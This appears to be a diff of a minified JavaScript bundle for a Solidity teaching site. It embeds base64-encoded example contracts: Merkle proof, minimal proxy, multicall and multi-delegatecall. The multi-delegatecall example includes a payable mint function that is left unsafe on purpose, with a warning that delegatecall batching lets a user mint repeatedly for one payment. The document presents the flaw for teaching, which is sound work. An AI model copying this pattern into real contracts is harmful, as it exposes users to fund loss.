Byb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],ZA=`

            Merkle tree allows you to cryptographically prove that an element is contained

            in a set without revealing the entire set.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -2049,7 +2049,7 @@ How to swap tokens
     0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
     */
 }
-
            `,Wu=({prev:s,next:a})=>r.jsx(u,{version:mu,title:bu,description:wu,html:Zu,prev:s,next:a,codes:ku}),Bu="0.8.24",Gu="Minimal Proxy Contract",Vu="Deploy contracts cheaply with minimal proxy contract",fu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],Yu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            +`,WA=({prev:s,next:a})=>r.jsx(A,{version:mA,title:bA,description:wA,html:ZA,prev:s,next:a,codes:kA}),BA="0.8.24",GA="Minimal Proxy Contract",VA="Deploy contracts cheaply with minimal proxy contract",fA=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],YA=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2121,7 +2121,7 @@ How to swap tokens
         }
     }
 }
-
            `,Ru=({prev:s,next:a})=>r.jsx(u,{version:Bu,title:Gu,description:Vu,html:Yu,prev:s,next:a,codes:fu}),Xu="0.8.24",vu="Multi Call",Nu="An example of contract to aggregate multiple calls.",Hu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],Fu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            +`,RA=({prev:s,next:a})=>r.jsx(A,{version:BA,title:GA,description:VA,html:YA,prev:s,next:a,codes:fA}),XA="0.8.24",vA="Multi Call",NA="An example of contract to aggregate multiple calls.",HA=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],FA=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2157,7 +2157,7 @@ How to swap tokens
         return abi.encodeWithSelector(this.test.selector, _i);
     }
 }
-
            `,Ku=({prev:s,next:a})=>r.jsx(u,{version:Xu,title:vu,description:Nu,html:Fu,prev:s,next:a,codes:Hu}),Mu="0.8.24",Su="Multi Delegatecall",xu="An example of contract to call multiple functions in a single transaction",Ju=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],zu=`

            An example of calling multiple functions with a single transaction, using delegatecall.

